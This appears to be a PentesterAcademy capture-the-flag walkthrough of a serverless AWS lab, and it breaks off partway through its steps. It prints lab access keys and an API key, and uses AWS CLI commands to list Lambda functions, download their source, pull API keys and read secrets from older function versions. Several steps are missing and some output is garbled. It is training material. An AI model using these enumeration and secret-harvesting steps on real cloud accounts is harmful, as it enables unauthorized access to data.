



ATTACK DEFENSE

by PentesterAcademy

Name	Cloud Security CTF: Serverless Edition: [Nov 6-10]
URL	https://attackdefense.com/challengedetails?cid=2092
Type	Weekly CTF : All

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Objective: Collect all 7 FLAGS named: ServerlessFLAG1, ServerlessFLAG2, ServerlessFLAG3, ServerlessFLAG4 (Resource ARN), ServerlessFLAG5, ServerlessFLAG6 (Version) and ServerlessFLAG7.

AWS Credentials Page:

Access Credentials to your AWS lab Account

Region	Asia Pacific (Singapore) ap-southeast-1
Access Key ID	AKIAUAWOPGE5JWQO4CM5
Secret Access Key	1FPd3JuO/K2UeVYnXIe1Rv+8jNU9Py3dzmn47/JQ

Step 1: On a Linux machine, configure AWS CLI to interact with the read-only AWS account.

Access Key ID: AKIAUAWOPGE5JWQO4CM5

Secret Access Key: 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

Region: ap-southeast-1

Command:

```
aws configure
AKIAUAWOPGE5JWQO4CM5
1FPd3JuO/K2UeVYnXIe1Rv+8jNU9Py3dzmn47/JQ
ap-southeast-1
(Press Enter to keep the default value 'None')
```

```
root@attackdefense:~# aws configure
AWS Access Key ID [None]: AKIAUAWOPGE5JWQO4CM5
AWS Secret Access Key [None]: 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
Default region name [None]: ap-southeast-1
Default output format [None]:
root@attackdefense:~#
```

Step 2: List the Lambda functions in the region.

Command: aws lambda list-functions

```
root@attackdefense:~# aws lambda list-functions
{
  "Functions": [
    {
      "FunctionName": "serverlessrepo-image-uploader-uploader-RM72CSUT4KDA",
      "FunctionArn": "arn:aws:lambda:ap-southeast-1:276384657722:function:serverlessrepo-image-uploader-uploader-RM72CSUT4KDA",
      "Runtime": "nodejs12.x",
      "Role": "arn:aws:iam::276384657722:role/serverlessrepo-image-uploader-uploaderRole-1SG0CI8SR0G0Z",
      "Handler": "src/index.handler",
      "CodeSize": 36303,
      "Description": "Serverless web application for uploading files to S3",
      "Timeout": 60,
      "MemorySize": 1536,
      "LastModified": "2020-10-29T17:11:46.306+0000",
      "CodeSha256": "wFVuC/dXeN81EIFWcSN0JeCjJ6IbY91UXEvW04SVu+c=",
      "Version": "$LATEST",
    }
  ]
}
```

```

    "Environment": {
      "Variables": {
        "DEST_BUCKET": "temporary-public-image-store"
      }
    },
    "TracingConfig": {
      "Mode": "PassThrough"
    },
    "RevisionId": "b205ead2-66c6-4ca5-9ca2-23bfcee54a31"
  },
  {
    "FunctionName": "createUser",
    "FunctionArn": "arn:aws:lambda:ap-southeast-1:276384657722:function:createUser",
    "Runtime": "nodejs12.x",
    "Role": "arn:aws:iam::276384657722:role/service-role/createUser-role-dg961xxh",
    "Handler": "index.handler",
    "CodeSize": 920,
    "Description": "",
    "Timeout": 3,
    "MemorySize": 128,
    "LastModified": "2020-11-06T02:24:32.850+0000",
    "CodeSha256": "L+m1U0lm/0kyRgs2dULFUzjIBzw50X0qhyur9qsi3+k=",
    "Version": "$LATEST",
    "TracingConfig": {
      "Mode": "PassThrough"
    },
    "RevisionId": "76d66346-055b-40db-8df1-c3e54082c455"
  },
  {
    "FunctionName": "my-serverless-flag",
    "FunctionArn": "arn:aws:lambda:ap-southeast-1:276384657722:function:my-serverless-flag",
    "Runtime": "python3.8",
    "Role": "arn:aws:iam::276384657722:role/service-role/my-serverless-flag-role-mrw7nzhv8",
    "Handler": "lambda_function.lambda_handler",
    "CodeSize": 342,
    "Description": "",
    "Timeout": 3,
    "MemorySize": 128,
    "LastModified": "2020-11-06T03:39:33.860+0000",
    "CodeSha256": "kk+XU3mTHvNSVVsmPr5m+sufvj0ANxGmet4IX1DzBiA=",
    "Version": "$LATEST",
    "Environment": {
      "Variables": {
        "ServerlessFlag1": "4f5d31df0980432b548edd5c6de2e14c"
      }
    },
    "TracingConfig": {
      "Mode": "PassThrough"
    },
    "RevisionId": "1a7c8858-3707-44be-9e11-735b4312a472"
  }
]
}
root@attackdefense:~#

```


Command: `wget "$(aws lambda get-function --function-name my-serverless-flag | jq -r '.Code.Location -r')" -O source.zip`

```
root@attackerdefense:~# wget "$aws Lambda get-function --function-name my-serverless-flag | jq '.Code.Location -r'" -O source.zip
--2020-11-09 01:45:52-- https://aws-lambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.com/snapshots/276384657722/my-serverless-flag-23985d03-4fc1-425a-af52-9fd3233de06b?versionId=ort8n5NarN8nDU85KZee8W.ZJA3sSmqV&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEON%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaDmFLXNvdXR0ZWZkdC0xIkcwRQIhAMV%2ByV09q5WcIzoexjiKDK3YuWuLtwAcRAskEpZobbb3QAiBi%2FCOLBhamSPm7LzX4VR1gh2VTYmkowfzQTOWscmcMSq%2BAwhREAMaDDISNTMzODcwMzU4MyIM2uJPcMmHDvjEdqsZKpsD24uRI0Yr913RQQ8bw9e9WJJU0qFFMMvH96ORakkUzauiPAUJyBMXznfePxyXhNKnsyt2dwc1NMgGbndq4JMpre%2Bjn5vL00%2FutXRebn2pi%2FbxGTQRPrvY2%2FtGB05156p1H0IfqFIURqCkupqA0Uuv12ePJrY0cb3DJAREb3lp614XaqjaCLzYEvvtvbXN7d1E%2BZoTJMOHeXLdfyY6idptMvaJgggnacMs2epR8Z%2B2Sa0ENUq2opHFHY%2B1Ie5swwegZGdzw8PHOG1YYu1FUCv2rcQqAJ3jtBaBuEPpQVoIKnwDaInSsbCxPpYryUCfhbaFwdc4fv6e20GQPikMGUBUk2UL1ht4EuqkLnqaaxiVeBoqpdydlIyQnf83zVkeoTFd3XsnWiNftKwjidsNJohBzWLZ60r0ICjEEA3YqtGKZF%2FnzSJWBeoo3NV3RVn1lBEbz4CdKFTDNrqspV0G%2B9vXSG6s8mgUI4M0jjNQyhuy%2FMWzD3FnTmIFh%2FuvnyFIGMb8d%2BESoagQ0%2Bi6Bm2zFJChpnZ1TwtwZ%2Fd6hPlt03kcTMjqdov0FousBv1XJbzu0En2f3cmYG1CMACPyJZNg60SCC4dup5NSLSydBH3jhMghJVazLnAAwh6htXrzQBjExZKyav196xZ0UTzYb82TXJNZuGZ1PEP7%2BLAuP3uEWYHDCZU02wzvFep8hSteLnYIfFsUWTaSFQ0a4VxuUdU8AF%2BAbk9UtsQhqRc9BvTveH2uOkWrDgmEm4qsYmpI8ah1LUss2FXxiFuYLv7zfmsG07kZjmIVybAmjvw68asJe3MRBQf1lw7jXDWdmndzhJanxzLUUsurNP3o7kxxUWUHBRBLDN9nkynXUGBVUfg9Fjn0EHUHB6A%3D%3D&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20201109T014552Z&X-Amz-SignedHeaders=host&X-Amz-Expires=600&X-Amz-Credential=ASIAUJQ407LPWEQNGFG4%2F20201109%2Fap-southeast-1%2Fs3%2Faws4_request&X-Amz-Signature=82e7bd0ecc2696cfdf14891f33c148423064b86facc65e8fdf083f6d0d011b572
Resolving aws-lambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.com (aws-lambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.com)... 52.219.32.219
Connecting to aws-lambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.com (aws-lambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.com)|52.219.32.219|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 342 [application/zip]
Saving to: 'source.zip'

source.zip                               100%[=====>]                342 --.-KB/s    in 0s

2020-11-09 01:45:53 (19.3 MB/s) - 'source.zip' saved [342/342]
```

Step 5: Extract the archive.

Command: unzip source.zip

```
root@attackdefense:~# unzip source.zip
Archive:  source.zip
  inflating: lambda_function.py
root@attackdefense:~#
```

Step 6: View lambda_function.py file.

Command: cat lambda_function.py


```
root@attackdefense:~# cat lambda_function.py
import json
import boto3

def lambda_handler(event, context):
    s3 = boto3.client('s3')
    response = s3.get_object(Bucket='serverless-ctf-flags', Key='ServerlessFLAG2')
    ServerlessFLAG2 = response['Body'].read().decode('utf-8')
    return {
        'statusCode': 200,
        'body': ServerlessFLAG2
    }
root@attackdefense:~#
```

The lambda function fetches the second flag from the s3 bucket "serverless-ctf-flags".

Step 7: Check whether current user can interact with the S3 bucket and retrieve the flag directly.

Command: aws s3 cp s3://serverless-ctf-flags/ServerlessFLAG2 ./

```
root@attackdefense:~#
root@attackdefense:~# aws s3 cp s3://serverless-ctf-flags/ServerlessFLAG2 ./
fatal error: An error occurred (403) when calling the HeadObject operation: Forbidden
root@attackdefense:~#
```

The current user does not have the permission to read from the bucket directly.

Step 8: List the API gateways and check whether any of them invoke my-serverless-flag function.

Command: aws apigateway get-rest-apis

```
root@attackdefense:~# aws apigateway get-rest-apis
{
  "items": [
    {
      "id": "43iqo53xr7",
      "name": "my-serverless-flag-api",
      "description": "API to call my-serverless Lambda Function",
      "createdDate": 1604609434,
      "apiKeySource": "HEADER",
      "endpointConfiguration": {
        "types": [
          "REGIONAL"
        ]
      },
      "disableExecuteApiEndpoint": false
    },
    {
      "id": "cwlw44ht84",
      "name": "image-uploader",
      "createdDate": 1603989319,
      "version": "1.0",
      "binaryMediaTypes": [
        "*/*"
      ],
      "apiKeySource": "HEADER",
      "endpointConfiguration": {
        "types": [
          "EDGE"
        ]
      },
      "disableExecuteApiEndpoint": false
    }
  ],
}
```

There are 4 rest apis, the rest api with id "43iqo53xr7" might be able to invoke the "my-serverless-flag" function (based on name and description)

Step 9: Get the resources of the rest api with id "43iqo53xr7".

Command: `aws apigateway get-resources --rest-api-id 43iqo53xr7`


```
root@attackdefense:~# aws apigateway get-resources --rest-api-id 43iqo53xr7
{
  "items": [
    {
      "id": "cad1t0",
      "parentId": "nkoru3c7i4",
      "pathPart": "v1",
      "path": "/v1",
      "resourceMethods": {
        "POST": {}
      }
    },
    {
      "id": "nkoru3c7i4",
      "path": "/"
    }
  ]
}
```

root@attackdefense:~#

The resource id is cad1t0.

Step 10: Retrieve the method information for the above resource and the POST method:

Command: aws apigateway get-method --rest-api-id 43iqo53xr7 --resource-id cad1t0 --http-method POST

```
root@attackdefense:~# aws apigateway get-method --rest-api-id 43iqo53xr7 --resource-id cad1t0 --http-method POST
{
  "httpMethod": "POST",
  "authorizationType": "NONE",
  "apiKeyRequired": true,
  "methodResponses": {
    "200": {
      "statusCode": "200",
      "responseModels": {
        "application/json": "Empty"
      }
    }
  }
}
```

```

    "methodIntegration": {
      "type": "AWS_PROXY",
      "httpMethod": "POST",
      "uri": "arn:aws:apigateway:ap-southeast-1:lambda:path/2015-03-31/functions/arn:aws:lambda:ap-southeast-1:2763846577
22:function:my-serverless-flag/invocations",
      "passthroughBehavior": "WHEN_NO_MATCH",
      "contentHandling": "CONVERT_TO_TEXT",
      "timeoutInMillis": 29000,
      "cacheNamespace": "cad1t0",
      "cacheKeyParameters": [],
      "integrationResponses": {
        "200": {
          "statusCode": "200",
          "responseTemplates": {
            "application/json": null
          }
        }
      }
    }
  }
}
root@attackdefense:~#

```

The resource requires API Key and invokes the "my-serverless-flag" function.

Step 11: List the stages of the rest api with id "43iqo53xr7".

Command: aws apigateway get-stages --rest-api-id 43iqo53xr7

```

root@attackdefense:~# aws apigateway get-stages --rest-api-id 43iqo53xr7
{
  "item": [
    {
      "deploymentId": "qb3p0m",
      "stageName": "default",
      "cacheClusterEnabled": false,
      "cacheClusterStatus": "NOT_AVAILABLE",
      "methodSettings": {},
      "tracingEnabled": false,
      "createdDate": 1604609558,
      "lastUpdatedDate": 1604633992
    }
  ]
}
root@attackdefense:~#

```

There is one stage named "default" for the rest API. Based on the stages, resource and the region, the invocation URL can be formulated.

Stage: default

Resource: v1

Region: ap-southeast-1

Invocation URL: https://43iqo53xr7.execute-api.ap-southeast-1.amazonaws.com/default/v1

Method: POST

Step 12: API Key is required to invoke the API. List the available API Keys

Command: aws get-api-keys

```
root@attackdefense:~# aws apigateway get-api-keys
{
  "items": [
    {
      "id": "ttq97vre2e",
      "name": "Alice",
      "description": "Alice's API Key",
      "enabled": true,
      "createdDate": 1604633391,
      "lastUpdatedDate": 1604633391,
      "stageKeys": []
    }
  ]
}
```

root@attackdefense:~#

The API Key's value is not listed.

Step 13: Use the "--include-values" flag to retrieve the API key value.

Command: aws apigateway get-api-keys --include-values


```
root@attackdefense:~# aws apigateway get-api-keys --include-values
{
  "items": [
    {
      "id": "ttq97vre2e",
      "value": "cuHFZ7Ue4wDGFBocqurl9bzGsAszJds4Ajaox1pe",
      "name": "Alice",
      "description": "Alice's API Key",
      "enabled": true,
      "createdDate": 1604633391,
      "lastUpdatedDate": 1604633391,
      "stageKeys": []
    }
  ]
}
```

root@attackdefense:~#

The API key is cuHFZ7Ue4wDGFBocqurl9bzGsAszJds4Ajaox1pe

Step 14: Invoke the API with the api-key

Command: curl -X POST -H 'x-api-key: cuHFZ7Ue4wDGFBocqurl9bzGsAszJds4Ajaox1pe' https://43iqo53xr7.execute-api.ap-southeast-1.amazonaws.com/default/v1

```
root@attackdefense:~#
root@attackdefense:~# curl -X POST -H 'x-api-key: cuHFZ7Ue4wDGFBocqurl9bzGsAszJds4Ajaox1pe' https://43iqo53xr7.execute-api.ap-southeast-1.amazonaws.com/default/v1
ce47062de2f1f20e00206008772a1241
root@attackdefense:~#
root@attackdefense:~#
```

The second flag is revealed.

ServerlessFLAG2: ce47062de2f1f20e00206008772a1241

Command: `aws lambda get-function --function-name createUser`

The Link to download the source code is present in the Location Attribute of Code section.

Note: The below given command requires the jq package.

Command: `wget "$(aws lambda get-function --function-name createUser | jq .Code.Location -r)" -O source.zip`


```

root@attackdefense:~# wget "$(aws lambda get-function --function-name createUser | jq .Code.Location -r)" -O source.zip
--2020-11-10 00:51:51-- https://awslambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.com/snapshots/276384657722/createUser-
c8b944d7-91ec-4c8c-937a-cefc0f3f0194?versionId=IrDSwNTA8c1LYXgiKeGzgyvgW6o9QH7L&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEAAaDm
FwLXNvdXR0ZWFzdC0xIkcwRQIhAJrobJL2D%2FXUbahyvgVLCNTxW0LBb7G7DvMp0uqBESfQAiBhUo7FGv4aZ3Mo5RdwW2NkRfg7LatRTmvfWdvHVPxVICq%2BA
whpEAMaDDI5NTMzODcwMzU4MyIMCSgyLBibZiMPKUWFKpsDa2WwxWPNJ8cQT1GmJtThwt9RHC1V4q%2F1papW3PDd2YWnmLeLCCLDs42bwcwHkS1PGkD3ICcKtx
nHvednge1HyKJdYiqgQszPoz4kjDtqGAYWuWxqiP4Qc4M%2FVadJ3C05xeLwS7iLkNCm0ZssoectD09b0c1S7RvcSZLAXEZSFP2Li48AIJX8VNFYuGE%2BG1ZMD
vyMiZB1gOTqE36hxq6AiT%2F5wV3IbMAtCgcLFq1fJEd2UhWduWPQBMBVrc%2FLWLRjDv3Bq%2BrvRng3QGGEvK3y%2F6dGAQjiVxpoQ12tDjgyipdE5DzwICQP
bY8lvOH20yoDLZePS8J09LmIw5QYDgxxkadygQKbnPpVubSrfmK4FAJuGWSsRZNemN%2FN8zZZHXPdyzsb3zuQDcw%2BHN8cMm2St0ybeEXspNmjxCadafQDVV
Esr5tKK%2B6Sr24HA6j1unepSXG%2B9K7ZXvhgz5q4DIU14taAWXP1CdtAFHjNNNT2J1M8FYiaxugfjVLL7jNkwWhP1aPGjtxb%2BIUnJ%2FCR6%2Fki%2BkCtR
vY1lpulYb8M06xp%2F0F0usBF5gBx7es0BKACc06gafwmibvYV5eGV6Wu9ikskQmUOSntBFQxwEX7eoLy82d8kYf%2Fb%2F8r7kJ05FTrdE7wDgbM2E%2FB3Iev
Wfhd0pQaxachH5QNJK307%2FHEQShuwV%2Fuur5b0KZIEza2%2FE0IDIXNzet0iWQWwK%2F169U3IA1qWxwR0k9sawE%2BIzt4ZIG3PBRo%2F6A%2FysboogH
QpfAlq2%2B69kGIuag8qVGf803QvF7e0sfV4sG3LE8NGId4C2ziNx3ia5Cu6UTeNx%2F6BKW%2BIUw6K0vUp8Wyrfr0xxiF4B91lxnvx%2FMyLAoCuh%2BYg%
3D%3D&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20201110T005151Z&X-Amz-SignedHeaders=host&X-Amz-Expires=600&X-Amz-Credent
ial=ASIAUJQ407LPYQDYGGuH%2F20201110%2Fap-southeast-1%2Fs3%2Faws4_request&X-Amz-Signature=2917ff54fad7f0a94ab40d0cdef9f19cc9
80b10a705f820eb12d36f139c8b4fa
Resolving awslambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.com (awslambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.com)
... 52.219.132.159
Connecting to awslambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.com (awslambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.
com)|52.219.132.159|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 920 [application/zip]
Saving to: 'source.zip'

source.zip          100%[=====>]          920  --.-KB/s    in 0.001s

2020-11-10 00:51:51 (1.01 MB/s) - 'source.zip' saved [920/920]

root@attackdefense:~#

```

Step 17: Extract the archive.

Command: unzip source.zip

```

root@attackdefense:~#
root@attackdefense:~# unzip source.zip
Archive:  source.zip
  inflating: index.js
root@attackdefense:~#

```

Step 18: View index.js file.

Command: cat index.js


```

root@attackdefense:~# cat index.js
const AWS = require('aws-sdk');

AWS.config.update({ region: 'ap-southeast-1' });
var dynamodb = new AWS.DynamoDB();

exports.handler = async (event) => {
    let invitecode,username,password,status;
    if (! (event.queryStringParameters.invitecode !== null && event.queryStringParameters.username !== null && event.queryStringParameters.password !== null)) {
        const response = {
            'statusCode': 200,
            'body': "One of the required parameter is missing"
        };
        return response;
    }

    invitecode = event.queryStringParameters.invitecode;
    username=event.queryStringParameters.username;
    password=event.queryStringParameters.password;

    var docClient = new AWS.DynamoDB.DocumentClient();

    var params = {
        ProjectionExpression: "code",
        FilterExpression: "code = :code",
        ExpressionAttributeValues: {
            ':code': {'S': invitecode}
        },
        TableName: "InviteCodes"
    };
    var result = await dynamodb.scan(params).promise()

    if (result["Count"]!=0)
    {
        var params = {
            TableName:"AllowedUser",
            Item:{
                "username": username,
                "password": password,
            }
        };
        try {
            await docClient.put(params, function(err, data) {
                console.log("error");
                if (err) {
                    status="User Creation Failed";
                    console.error("Unable to add user. Error JSON:", JSON.stringify(err, null, 2));
                } else {
                    console.log("Added user:", JSON.stringify(data, null, 2));
                    status="User Created Successfully";
                    // TODO
                    // Fetch ServerlessFLAG3 from S3
                    //status=status + ServerlessFLAG3
                }
            }).promise();
        } catch (e) {
            status="User Creation Failed";
        }
    }
    else
    {
        status="Invite Code is invalid"
    }
}

```

The source code reveals that if a user has the invite code which is present in the table "InviteCodes". He/she can create a user. (The username and password will be added to dynamodb table "AllowedUser").

However, the ServerlessFLAG3 is not fetched, a TODO note is present which mentions implementing the feature to fetch the ServerlessFLAG3 from S3 bucket. Therefore, even if the function is invoked successfully, the ServerlessFLAG3 will not be returned.

Step 19: Check if another version of the function is available.

Command: `aws lambda list-versions-by-function --function-name createUser`

```
root@attackdefense:~# aws lambda list-versions-by-function --function-name createUser
{
  "Versions": [
    {
      "FunctionName": "createUser",
      "FunctionArn": "arn:aws:lambda:ap-southeast-1:276384657722:function:createUser:$LATEST",
      "Runtime": "nodejs12.x",
      "Role": "arn:aws:iam::276384657722:role/service-role/createUser-role-dg961xxh",
      "Handler": "index.handler",
      "CodeSize": 920,
      "Description": "",
      "Timeout": 3,
      "MemorySize": 128,
      "LastModified": "2020-11-06T02:24:32.850+0000",
      "CodeSha256": "L+m1U0lm/0kyRgs2dULFUzjIBzw50X0qhyur9qsi3+k=",
      "Version": "$LATEST",
      "TracingConfig": {
        "Mode": "PassThrough"
      },
      "RevisionId": "76d66346-055b-40db-8df1-c3e54082c455"
    },
    {
      "FunctionName": "createUser",
      "FunctionArn": "arn:aws:lambda:ap-southeast-1:276384657722:function:createUser:1",
      "Runtime": "nodejs12.x",
      "Role": "arn:aws:iam::276384657722:role/service-role/createUser-role-dg961xxh",
      "Handler": "index.handler",
      "CodeSize": 950,
      "Description": "Beta Version",
      "Timeout": 3,
      "MemorySize": 128,
      "LastModified": "2020-11-05T21:40:23.393+0000",
      "CodeSha256": "vNm3p9ViTqSx70JnbYUaRp6t0/awGNSAVVa06GL7HoQ=",
      "Version": "1",
      "TracingConfig": {
```

There are two versions of the lambda function.

Step 20: Get more details about the createUser function version 1.

Command: aws lambda get-function --function-name createUser:1

```
root@attackdefense:~# aws lambda get-function --function-name createUser:1
{
  "Configuration": {
    "FunctionName": "createUser",
    "FunctionArn": "arn:aws:lambda:ap-southeast-1:276384657722:function:createUser:1",
    "Runtime": "nodejs12.x",
    "Role": "arn:aws:iam::276384657722:role/service-role/createUser-role-dg961xxh",
    "Handler": "index.handler",
    "CodeSize": 950,
    "Description": "Beta Version",
    "Timeout": 3,
    "MemorySize": 128,
    "LastModified": "2020-11-05T21:40:23.393+0000",
    "CodeSha256": "vNm3p9ViTqSx70JnbYUaRp6t0/awGNSAVVa06GL7HoQ=",
    "Version": "1",
    "TracingConfig": {
      "Mode": "PassThrough"
    },
    "RevisionId": "e84c86d9-65e8-4eed-8e66-b06d299d1f2a",
    "State": "Active",
    "LastUpdateStatus": "Successful"
  },
  "Code": {
    "RepositoryType": "S3",
    "Location": "https://aws-lambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.com/snapshots/276384657722/createUser-c29a621c-0eb3-41fa-a4b3-b26a0f9ed781?versionId=zF_He8ffoNJRDSR6vNnYCI9Dj_pRiPFk&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEAEaDmFwLXNvdXR0ZWFzdC0xIkcwRQIhAMEC25IvxJ7iDNAkphoimouL7dTmLpRMUyJB%2F795LqX3AibV7G%2B%2FURAF3afT8r83N3hh08wd7sq3Is7BI3m7Y6Q6nCq%2BAwhpEAMaDDI5NTMzODcwMzU4MyIM2ukCKTRvacm5ZK7fKpsDY5sfqBwnrPPp3XBcgBiNV%2F9aYxEj8MhI7wU%2FtbQa0e2yQk0k155l%2FfCKSNdzCDEKHKcvq5SMoiZOWboxN0Nft7J6cpqMVva%2Bkw7uipNmcdD7v%2FzKwDPE5IFwLMeuUpSy1%2BGf%2FNrjXGuFqZ1hgr1HdXLLXM%2BGSaMsYC20AT5F2HitGLIerd2BL%2FYErP%2FzprjaciMaNlwt4Ki2y1LC%2FzORsHCuGSQiR0x02RdM99bTKL97dMrjjxDavFz%2F0tnoeCWUK6AS5FFX47CeqtZPYDmkaYu37dI9Ap%2FFHHbot%2BU3VYdNELSuichg%2BPLX15FRZrZuubl12ELQBgpXmU3qlyA%2BpWniXqeLmwYH%2FVyFPXqjH2iuLmsmytEYEdJ40GsuAmnz%2BtKMZ6S8lvISAiv4eccUhe7I%2BzbYJ9v80PsdgLLntsL1f5nsXaNzUxPNcthi1seNhJAD3NIU4yXu32HhSLsV46ff574w5AiBFWOHsWNOCJjLflGGJ24tJ9n30cN4MPVWVklc1lg7owVX3TtbmmvegPFBOM%2FvdCsZ31MJG%2Fp%2F0F0usBy%2FgFK%2Bg0d0M21E4gTYtCmqRSStnP70a38a0tT%2FaseCCLMudPwDJ6FB0rveDdYL5HYvU%2BAYgeoiFH1rfOfHichZCYeB6sdudZxr9nThP6j%2BjcC5w0SuUbT0G5UXQ0xIf5o2wBTx4VH9VeeBDYmkoXfdWGuyHqMtr3MxYMoP0%2FyZ0dqHLSTVQ5aC%2BuNQ8mH4DDSBQ%2BSoKRjxYFdR%2BHIwwauCbhK%2FEYJtn09bdaxD2S5SxJqisVBm6cTH6URxV%2FCXy4CXf90UktaQoZFVtG%2Ff6EwTF1z2uX2Fyzw88FXTBpuIKhGi%2FV2NR
```

The Link to download the source code is present in the Location Attribute of Code section.

Step 21: Download the source archive. Either click on the link or use the command mentioned below.

Note: The below given command requires the jq package.

Command: wget "\$(aws lambda get-function --function-name createUser:1 | jq .Code.Location -r)" -O source.zip


```

root@attackdefense:~# wget "$(aws lambda get-function --function-name createUser:1 | jq .Code.Location -r)" -O source.zip
--2020-11-10 01:07:32-- https://awslambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.com/snapshots/276384657722/createUser-
c29a621c-0eb3-41fa-a4b3-b26a0f9ed781?versionId=zF_He8ffoNJRDSR6vNnYCI9Dj_pRiPFk&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEAEaDm
FwLXNvdXR0ZWFzdC0xIkgwRgIhAPmg6KPRW3pCis0%2FE0vGZ2SuMFTNsswAVftVWYLDER2rAiEA7dCmMBGem4fziotTSGm7Lm8%2B5UQtp5RNmzmuLUPIRJ8qv
gMIaRADGgwyOTUzMzg3MDM1ODMiDNGs8rdc2JcqZDLcZCqBA5wpPtrILVvua72XppwsCWJNaoUKQLFsQU02Ep28JyhBah5Ph8J1Mcr6Z8vcTvJVKmyVMu9w8GQ0
w5A%2FaaiqnPKfw1fCVZpGZ0SFGmDg9l%2BsLBCDA69NU40%2BG5F1EjI7a1740DnnZ4ZuHqcWhiat12HN1VOW8J20jDED7IaefWgy0%2F9Mb%2B2WL%2BcgLNe
xy6kdR4rL02BltvG1DUfPP6YUsiY%2B5LEWL7i8VNPI0hyWvyYXVE4Eh9T6Uzo7VdSkXUB8VRQ3izQ%2FjtV5EIXBN55X4HRI9i52%2FCzad9Qs2vxPCyHANhRx
wMdaDVR9eJM6nMwsyw31rqLEpsTMD1o7I6A5MKQKRtCTa6mFouMBSN24bp%2BrgMXC7m5xLPH8fL1WL6PjZitvve3Hfrb%2FFcShWAX4Xpu4a2TJ4oPMZSi1b
0YrBJ0BKwBSZRmKKX5Zcj9ruDrN5Y0Zsi6ZQGYa1KF7IQthyfTYJJ%2Bw2YM%2FOYpMIDXsgJ50a%2BMychnwNrE%2F7aoxnYzMISmDN0U5L8cSnax%2BrAC0kD
qsd%2FVARTFiZZSTDovaf9BTqAc4LJT%2By8mfIrwnCvYXGSJD02PuPnhewRvGYG8Qu0mmSUoq7RTHn4fdIuSFpCRimYnV6R0NVLD70xAVU0vNeLYnnRTbTqba
seIXe4dkXPYPnak4GUE%2FiEMRRtkPjcee5wX9VG1kDsaGiFBEeaUiCc19uVtwpvbCtFyCEA795w8Vw0FORTX9XGmkf46f5XBCZsp26hKHOPiL8kPWPdWntcQHq
HCAeLnGsygCfKxQqfbf8TMLr9qd1LWuigaSF3Yw9s94rzluRfWr9AIijFKBGje06ZTv5ELTyNRi%2FLV2wzEII96mgasu%2FwkIP%2Fg%3D%3D&X-Amz-Algori
thm=AWS4-HMAC-SHA256&X-Amz-Date=20201110T010732Z&X-Amz-SignedHeaders=host&X-Amz-Expires=600&X-Amz-Credential=ASIAUJQ407LPWU
UPJQ6U%2F20201110%2Fap-southeast-1%2Fs3%2Faws4_request&X-Amz-Signature=5150fb6f99f4e11cee22a89b43c109b705b3ca9fc8ee368567f1
76bede53ade3
Resolving awslambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.com (awslambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.com)
... 52.219.132.95
Connecting to awslambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.com (awslambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.
com)|52.219.132.95|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 950 [application/zip]
Saving to: 'source.zip'

source.zip                               100%[=====>]          950  --.-KB/s    in 0.001s

2020-11-10 01:07:32 (1.21 MB/s) - 'source.zip' saved [950/950]

```

```

root@attackdefense:~#

```

Step 22: Extract the archive and rename the file.

Commands:

unzip source.zip

r

index2.js

```

root@attackdefense:~#
root@attackdefense:~# unzip source.zip
Archive:  source.zip
replace index.js? [y]es, [n]o, [A]ll, [N]one, [r]ename: r
new name: index2.js
  inflating: index2.js
root@attackdefense:~#

```

Step 23: View index2.js file.

Command: cat index2.js

```

root@attackdefense:~# cat index2.js
const AWS = require('aws-sdk');

AWS.config.update({ region: 'ap-southeast-1' });
var dynamodb = new AWS.DynamoDB();

exports.handler = async (event) => {
  let invitecode,username,password,status;
  if (! (event.queryStringParameters.invitecode !== null && event.queryStringParameters.username !== null && event.queryStringParameters.password !== null)) {
    const response = {
      'statusCode': 200,
      'body': "One of the required parameter is missing"
    };
    return response;
  }

  invitecode = event.queryStringParameters.invitecode;
  username=event.queryStringParameters.username;
  password=event.queryStringParameters.password;

  var docClient = new AWS.DynamoDB.DocumentClient();

  var params = {
    ProjectionExpression: "code",
    FilterExpression: "code = :code",
    ExpressionAttributeValues: {
      ':code': {'S': invitecode}
    },
    TableName: "InviteCodes"
  };
  var result = await dynamodb.scan(params).promise()

  if (result["Count"]!=0)
  {
    var params = {
      TableName:"AllowedUser",
      Item:{
        "username": username,
        "password": password,
      }
    };
    try {
      await docClient.put(params, function(err, data) {
        console.log("error");
        if (err) {
          status="User Creation Failed";
          console.error("Unable to add user. Error JSON:", JSON.stringify(err, null, 2));
        } else {
          console.log("Added user:", JSON.stringify(data, null, 2));
          status="User Created Successfully";
          // TODO
          let ServerlessFLAG3="c7a8a952d4ccac49beb3a637e2d89b99"
          //status=status + ServerlessFLAG3
        }
      }).promise();
    } catch (e) {
      status="User Creation Failed";
    }
  }
  else
  {
    status="Invite Code is invalid"
  }
  console.log(status)
}

```

The older version of function createuser reveals ServerlessFLAG3

ServerlessFLAG3: c7a8a952d4ccac49beb3a637e2d89b99

Step 24: The ServerlessFLAG4 is the ARN of event source which triggers Monitor Function. List the event source mappings.

Command: aws lambda list-event-source-mappings

```
root@attackdefense:~# aws lambda list-event-source-mappings
{
  "EventSourceMappings": [
    {
